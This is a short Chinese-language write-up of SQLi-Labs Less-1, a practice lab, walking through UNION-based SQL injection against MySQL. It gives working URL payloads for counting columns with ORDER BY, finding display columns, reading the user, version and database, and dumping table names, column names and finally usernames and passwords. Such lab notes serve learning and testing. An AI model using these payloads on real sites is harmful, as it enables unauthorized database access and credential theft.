SQLi-Labs通过笔记

less-1

根据提示输入id=1,添加单引号后报错。


image.png

一般可以使用联合表的方式来提取自己感兴趣的信息(union),但是使用union语句有个前提就是union 后面的语句必须与前面的语句字段数以及类型必须一直,否则数据库会报错。例如:
select 字段1,字段2 from tab1 union select 字段a,字段b from tab2
在这条sql语句中union前面的sql语句中的字段数应该与union后面的sql语句字段数一致,而且字段1与字段a类型相同,字段2与字段b类型相同。
所有我们现在使用order by 查询字段数。当

?id=1%27%20order%20by%204%23
image.png

报错,则推断原本的sql语句只是有用到了三个字段。
我们现在查询显示位

id=%27%20union%20select%201,2,3%23

发现显示位在2,3

注:我的数据库是mysql

mysql中的注释常用两种方式--+与#,#在url中需要编码为%23以。

获取数据库版本,数据库路径,当前用户,当前数据库:

' union select 1,concat_ws('_',user(),version(),database()),@@basedir%23
image.png

利用元数据库来爆表、爆数据

' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
image.png

利用元数据库来爆列

' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

利用元数据库来爆值

' union select 1,group_concat(username,password),3 from users--+

你可能感兴趣的:(SQLi-Labs通过笔记)